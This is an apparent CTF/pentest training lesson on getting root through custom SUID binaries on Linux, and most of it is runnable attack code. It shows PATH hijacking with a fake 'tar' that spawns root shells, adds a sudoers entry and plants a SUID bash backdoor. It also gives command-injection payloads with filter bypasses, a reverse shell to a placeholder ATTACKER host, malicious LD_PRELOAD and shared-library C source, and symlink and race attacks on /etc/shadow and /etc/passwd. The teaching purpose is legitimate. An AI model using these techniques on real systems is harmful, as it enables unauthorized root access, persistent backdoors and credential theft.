Custom SUID Binary Exploitation

advanced40 minWriteup

Exploiting custom or unusual SUID binaries

Learning Objectives

  • Analyze custom SUID binaries
  • Find vulnerabilities in custom code
  • Exploit environment variables
  • Use debugging techniques

are easy - check GTFOBins. But what about custom SUID binaries written by developers? These require reverse engineering and analysis to find vulnerabilities - and they're often full of them.

Think of it like this: GTFOBins covers the "factory-installed" locks. Custom SUID binaries are homemade locks - often designed by people who don't specialize in security. They frequently have vulnerabilities like buffer overflows, improper input handling, or insecure function calls.

CTF Favorites

Custom SUID binaries are extremely common in CTFs and pentests. If you find an unfamiliar SUID binary, it's probably the intended path to root. Time to analyze!

Identifying Custom SUID Binaries

bash
1606070;"># Find all SUID binaries
2find / -perm -u=s -type f 2>/dev/null
3 
4606070;"># Compare against standard system binaries
5606070;"># Standard SUID binaries (usually OK):
6/usr/bin/sudo
7/usr/bin/passwd
8/usr/bin/chsh
9/usr/bin/chfn
10/usr/bin/newgrp
11/usr/bin/su
12/usr/bin/mount
13/usr/bin/umount
14/usr/bin/ping
15/usr/lib/dbus-1.0/dbus-daemon-launch-helper
16 
17606070;"># Custom/Suspicious SUID binaries (investigate!):
18/opt/vulnerable_app
19/home/user/backup
20/usr/local/bin/custom_tool
21/opt/scripts/runner
22 
23606070;"># Quick filter for non-standard paths
24find / -perm -u=s -type f 2>/dev/null | grep -v 606070;">#a5d6ff;">'/usr/bin\|/usr/lib\|/usr/sbin\|/bin\|/sbin'
25 
26606070;"># Check binary info
27file /opt/vulnerable_app
28606070;"># ELF 64-bit LSB executable, x86-64...
29 
30strings /opt/vulnerable_app | head -50
31606070;"># Look for interesting strings, paths, functions

Non-Standard Paths = Investigate

If a SUID binary is in /opt, /home, /usr/local, or any non-standard location, it's almost certainly custom and worth investigating thoroughly.

Analyzing Custom Binaries

bash
1606070;"># Basic analysis workflow
2 
3606070;"># 1. Get file info
4file /opt/custom_binary
5606070;"># Is it compiled? Script? What architecture?
6 
7606070;"># 2. Check strings for clues
8strings /opt/custom_binary | less
9606070;"># Look for:
10606070;"># - Function calls (system, execve, setuid)
11606070;"># - File paths (/etc/shadow, /bin/bash)
12606070;"># - Error messages
13606070;"># - Command strings
14606070;"># - Passwords/credentials
15 
16606070;"># 3. Run with ltrace (library calls)
17ltrace /opt/custom_binary 2>&1
18606070;"># Shows what library functions are called
19 
20606070;"># 4. Run with strace (system calls)
21strace /opt/custom_binary 2>&1
22606070;"># Shows what system calls are made
23 
24606070;"># 5. Run ltrace with arguments
25ltrace /opt/custom_binary arg1 arg2
26 
27606070;"># Example ltrace output:
28606070;"># setuid(0) = 0
29606070;"># system("id") = 0
30606070;"># system("whoami") = 0
31 
32606070;"># 6. Check for vulnerable functions in strings
33strings /opt/custom_binary | grep -E 606070;">#a5d6ff;">"system|exec|gets|strcpy|sprintf"
34 
35606070;"># 7. Use objdump for disassembly (if needed)
36objdump -d /opt/custom_binary | less

What to Look For

1Red Flags in Custom SUID Binaries:
2├── system() with user input
3│ └── Command injection possible
4├── exec*() with controllable args
5│ └── May be able to run arbitrary commands
6├── Calls commands without full path
7│ └── PATH manipulation attack
8├── Reads config from writable location
9│ └── Config file manipulation
10├── Buffer functions without bounds checking
11│ └── gets(), strcpy(), sprintf() = overflow potential
12├── Environment variable usage
13│ └── Env variable injection
14├── File operations on user-controlled paths
15│ └── Symlink attacks, path traversal
16└── Setuid before dropping privileges
17 └── Race conditions possible

PATH Variable Exploitation

bash
1606070;"># Most common custom SUID vulnerability
2 
3606070;"># Scenario: Custom binary calls command without full path
4ltrace /opt/backup_tool
5606070;"># system("tar -czf backup.tar.gz /home")
6 
7606070;"># The problem: "tar" not "/usr/bin/tar"
8606070;"># Solution: Create our own "tar" and modify PATH
9 
10606070;"># Step 1: Create malicious script
11echo 606070;">#a5d6ff;">'/bin/bash -p' > /tmp/tar
12chmod +x /tmp/tar
13 
14606070;"># Step 2: Add our directory to PATH first
15export PATH=/tmp:$PATH
16 
17606070;"># Step 3: Run the SUID binary
18/opt/backup_tool
19606070;"># Our fake "tar" runs instead of real tar
20606070;"># bash -p gives us root shell!
21 
22606070;"># Alternative payloads for fake binary:
23606070;"># Option 1: Direct shell
24echo 606070;">#a5d6ff;">'#!/bin/bash' > /tmp/tar
25echo 606070;">#a5d6ff;">'/bin/bash -p' >> /tmp/tar
26 
27606070;"># Option 2: SUID bash backdoor
28echo 606070;">#a5d6ff;">'#!/bin/bash' > /tmp/tar
29echo 606070;">#a5d6ff;">'cp /bin/bash /tmp/rootbash' >> /tmp/tar
30echo 606070;">#a5d6ff;">'chmod +s /tmp/rootbash' >> /tmp/tar
31 
32606070;"># Option 3: Add to sudoers
33echo 606070;">#a5d6ff;">'#!/bin/bash' > /tmp/tar
34echo 606070;">#a5d6ff;">'echo "user ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers' >> /tmp/tar

Always Check PATH Usage

If ltrace or strings shows commands without full paths (service, tar, cat, etc.), PATH manipulation is likely possible. This is one of the most common custom SUID vulnerabilities.

Command Injection

bash
1606070;"># Binary uses system() with user input
2 
3606070;"># Example vulnerable code pattern:
4606070;"># sprintf(cmd, "cat /var/log/%s", argv[1]);
5606070;"># system(cmd);
6 
7606070;"># Test for command injection
8./vulnerable_binary 606070;">#a5d6ff;">"test; id"
9./vulnerable_binary 606070;">#a5d6ff;">"test && id"
10./vulnerable_binary 606070;">#a5d6ff;">"test | id"
11./vulnerable_binary 606070;">#a5d6ff;">"`id`"
12./vulnerable_binary 606070;">#a5d6ff;">"$(id)"
13 
14606070;"># If you see command output, it's vulnerable!
15 
16606070;"># Exploitation examples:
17./vulnerable_binary 606070;">#a5d6ff;">"; /bin/bash -p"
18./vulnerable_binary 606070;">#a5d6ff;">"| /bin/bash -p"
19./vulnerable_binary 606070;">#a5d6ff;">"&& /bin/bash -p"
20./vulnerable_binary 606070;">#a5d6ff;">"`/bin/bash -p`"
21 
22606070;"># For reverse shell:
23./vulnerable_binary 606070;">#a5d6ff;">"; bash -i >& /dev/tcp/ATTACKER/4444 0>&1"
24 
25606070;"># For SUID backdoor:
26./vulnerable_binary 606070;">#a5d6ff;">"; cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash"
27 
28606070;"># URL-style injection (if binary processes URLs):
29./vulnerable_binary 606070;">#a5d6ff;">"http://x;id"

Bypassing Filters

bash
1606070;"># If basic injection is filtered, try alternatives
2 
3606070;"># Space filtered?
4./vulnerable_binary 606070;">#a5d6ff;">";/bin/bash" # No space
5./vulnerable_binary 606070;">#a5d6ff;">";${IFS}/bin/bash" # $IFS is space
6./vulnerable_binary 606070;">#a5d6ff;">";{/bin/bash,-p}" # Brace expansion
7 
8606070;"># Semicolon filtered?
9./vulnerable_binary $606070;">#a5d6ff;">'\n/bin/bash' # Newline
10./vulnerable_binary 606070;">#a5d6ff;">"%0a/bin/bash" # URL-encoded newline
11./vulnerable_binary 606070;">#a5d6ff;">"|| /bin/bash" # OR operator
12./vulnerable_binary 606070;">#a5d6ff;">"& /bin/bash" # Background
13 
14606070;"># Command substitution alternatives
15./vulnerable_binary 606070;">#a5d6ff;">"`id`"
16./vulnerable_binary 606070;">#a5d6ff;">"$(id)"
17./vulnerable_binary 606070;">#a5d6ff;">"$(/bin/bash)"
18 
19606070;"># Null byte injection (C strings)
20./vulnerable_binary 606070;">#a5d6ff;">"test%00;id"
21 
22606070;"># If all else fails, try base64
23./vulnerable_binary 606070;">#a5d6ff;">"`echo YmFzaCAtcA== | base64 -d`"

Environment Variable Exploitation

bash
1606070;"># Binary uses environment variables unsafely
2 
3606070;"># LD_PRELOAD (if binary doesn't drop privs properly)
4606070;"># Create malicious shared library
5cat > /tmp/shell.c << 606070;">#a5d6ff;">'EOF'
6606070;">#include <stdio.h>
7606070;">#include <stdlib.h>
8606070;">#include <unistd.h>
9 
10void _init() {
11 unsetenv(606070;">#a5d6ff;">"LD_PRELOAD");
12 setuid(0);
13 setgid(0);
14 system(606070;">#a5d6ff;">"/bin/bash -p");
15}
16EOF
17 
18gcc -fPIC -shared -o /tmp/shell.so /tmp/shell.c -nostartfiles
19LD_PRELOAD=/tmp/shell.so /opt/vulnerable_binary
20 
21606070;"># Note: LD_PRELOAD usually ignored for SUID, but some binaries
22606070;"># have bugs that allow it
23 
24606070;"># EDITOR/VISUAL variables
25606070;"># If binary calls an editor
26EDITOR=606070;">#a5d6ff;">"/bin/bash" /opt/vulnerable_binary
27VISUAL=606070;">#a5d6ff;">"/bin/bash" /opt/vulnerable_binary
28 
29606070;"># HOME variable
30606070;"># If binary reads config from HOME
31HOME=/tmp /opt/vulnerable_binary
32606070;"># Place malicious config in /tmp
33 
34606070;"># PATH (already covered but worth repeating)
35PATH=/tmp:$PATH /opt/vulnerable_binary

Library Hijacking

bash
1606070;"># Check what libraries binary loads
2ldd /opt/vulnerable_binary
3606070;"># Look for libraries in writable locations
4 
5606070;"># If binary loads library from writable path:
6606070;"># linux-vdso.so.1
7606070;"># libcustom.so => /opt/libs/libcustom.so
8 
9606070;"># And /opt/libs is writable:
10ls -la /opt/libs/
11 
12606070;"># Create malicious library
13cat > /tmp/libcustom.c << 606070;">#a5d6ff;">'EOF'
14606070;">#include <stdlib.h>
15606070;">#include <unistd.h>
16 
17static void inject() __attribute__((constructor));
18 
19void inject() {
20 setuid(0);
21 setgid(0);
22 system(606070;">#a5d6ff;">"/bin/bash -p");
23}
24EOF
25 
26gcc -shared -fPIC -o /opt/libs/libcustom.so /tmp/libcustom.c
27606070;"># Run the SUID binary - our library loads first

Buffer Overflow Basics

bash
1606070;"># If binary uses unsafe functions (gets, strcpy, sprintf)
2 
3606070;"># Test for crashes
4./vulnerable_binary $(python3 -c 606070;">#a5d6ff;">'print("A"*100)')
5./vulnerable_binary $(python3 -c 606070;">#a5d6ff;">'print("A"*500)')
6./vulnerable_binary $(python3 -c 606070;">#a5d6ff;">'print("A"*1000)')
7606070;"># Segmentation fault = potential overflow
8 
9606070;"># Find crash point
10./vulnerable_binary $(python3 -c 606070;">#a5d6ff;">'print("A"*200)') # OK
11./vulnerable_binary $(python3 -c 606070;">#a5d6ff;">'print("A"*250)') # Crash
12./vulnerable_binary $(python3 -c 606070;">#a5d6ff;">'print("A"*225)') # Binary search
13 
14606070;"># Check protections
15checksec /opt/vulnerable_binary
16606070;"># RELRO: Partial/Full
17606070;"># Stack: No canary found (good for exploit)
18606070;"># NX: Enabled/Disabled
19606070;"># PIE: Enabled/Disabled
20 
21606070;"># If NX disabled and no canary:
22606070;"># Classic stack buffer overflow possible
23606070;"># Inject shellcode into buffer, overwrite return address
24 
25606070;"># If NX enabled but no PIE/ASLR:
26606070;"># Return-to-libc or ROP attack possible
27 
28606070;"># This is a deep topic - see dedicated binary exploitation courses
29606070;"># For CTFs, check if simple ret2libc works

Buffer Overflow Complexity

Buffer overflow exploitation is a whole discipline. This lesson covers detection. For full exploitation, study binary exploitation (pwn) separately. Many CTFs have simpler intended paths anyway.
bash
1606070;"># If SUID binary operates on files you can influence
2 
3606070;"># Scenario: Binary reads /tmp/config
4606070;"># You can't write to its target, but can create symlink
5 
6606070;"># Create symlink to sensitive file
7ln -sf /etc/shadow /tmp/config
8./vulnerable_binary
9606070;"># Might read/write to /etc/shadow instead
10 
11606070;"># Race condition with symlinks
12606070;"># If binary checks file then uses it (TOCTOU)
13606070;"># Time-of-check vs time-of-use
14 
15606070;"># Example: Binary checks if file exists, then writes to it
16606070;"># Race: Replace file with symlink between check and use
17 
18while true; do
19 ln -sf /etc/passwd /tmp/target
20 rm -f /tmp/target
21 touch /tmp/target
22done &
23 
24606070;"># Run binary repeatedly
25while true; do
26 ./vulnerable_binary
27done
28 
29606070;"># If timing is right, writes to /etc/passwd

Custom SUID Analysis Methodology

Custom SUID Binary Analysis

1
IdentifyFind custom SUID in non-standard paths
2
StringsLook for commands, paths, functions
3
LtraceWatch library calls, especially system()
4
PATH TestIf relative commands, try PATH manipulation
5
InjectionTest inputs for command injection
6
OverflowTest large inputs for crashes

Knowledge Check

Quick Quiz
Question 1 of 3

A SUID binary runs 'system("service apache restart")'. How do you exploit this?

Challenges

Exploit Custom SUID

Challenge
🔥 intermediate

You find /opt/backup with SUID bit set. Running 'strings' shows it calls 'tar' and 'gzip'. Ltrace confirms 'system("tar -czf...")'. Get root.

Need a hint? (4 available)

Command Injection Hunt

Challenge
💀 advanced

A SUID binary takes a filename argument and appears to log access. Test for command injection vulnerabilities.

Need a hint? (4 available)

Key Takeaways

  • Custom SUID binaries in non-standard paths warrant investigation
  • Use strings, ltrace, and strace to analyze binary behavior
  • PATH manipulation works when binaries use relative command names
  • Test for command injection with ; | && and backticks
  • Check for buffer overflows with large inputs
  • Environment variables and symlinks are additional attack vectors